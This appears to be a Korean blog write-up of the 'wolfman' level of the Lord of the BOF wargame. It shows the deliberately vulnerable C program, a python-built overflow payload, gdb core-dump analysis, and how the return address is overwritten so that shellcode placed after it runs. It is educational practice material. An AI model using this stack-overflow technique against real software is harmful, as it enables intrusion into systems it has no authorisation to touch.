728x90
$ bash2
$ ulimit -c unlimited
$ mkdir tmp
$ cd wolfman tmp/wolfman
Analyze
source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
/*
The Lord of the BOF : The Fellowship of the BOF
- wolfman
- egghunter + buffer hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
|
cs |
- egghunter: 환경변수를 사용할 수 없게 모두 초기화한다
- bufferhunter: 버퍼의 40byte를 0으로 초기화한다
- 버퍼의 크기는 40byte로 argv[1]로부터 복사받는다.
>> BUF[40]+SFP[4]+RET+... 이런식으로 payload를 짜게되는데 이 때 BUF의 위치에 쉘코드를 직접 삽입해 실행시킬 수 없고, RET영역 뒤에 쉘코드를 삽입하는 방식으로 해야한다. RET 값을 찾기 위해 임의로 실행시켜봤다.
core 파일
$ ./wolfman `python -c 'print "\xbf"*44 + "\xbf"*4 + "A"*40
$ gdb -q -c core
"\xbf"는 8byte만남고 그 앞은 모두 0으로 초기화되었다. 그리고 \x41(A)는 0xbffffb40부터 채워지는것을 볼 수 있다. 따라서 RET를 \x40\xfb\xff\xbf 로 한다.
그 뒤에 "\X90" dummy를 임의로 채워주고 쉘 코드를 집어넣으니 잘 실행된다.
Exploit
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] x64 Simple_size_BOF (0) | 2021.02.09 |
---|---|
[HackCTF] x64 Buffer Overflow (2) | 2021.02.05 |
[HackCTF] 내 버퍼가 흘러넘친다!!! (prob1) (2) | 2021.02.04 |
[HackCTF] offset (2) | 2021.02.03 |
[HackCTF] basic_bof2 (2) | 2021.02.01 |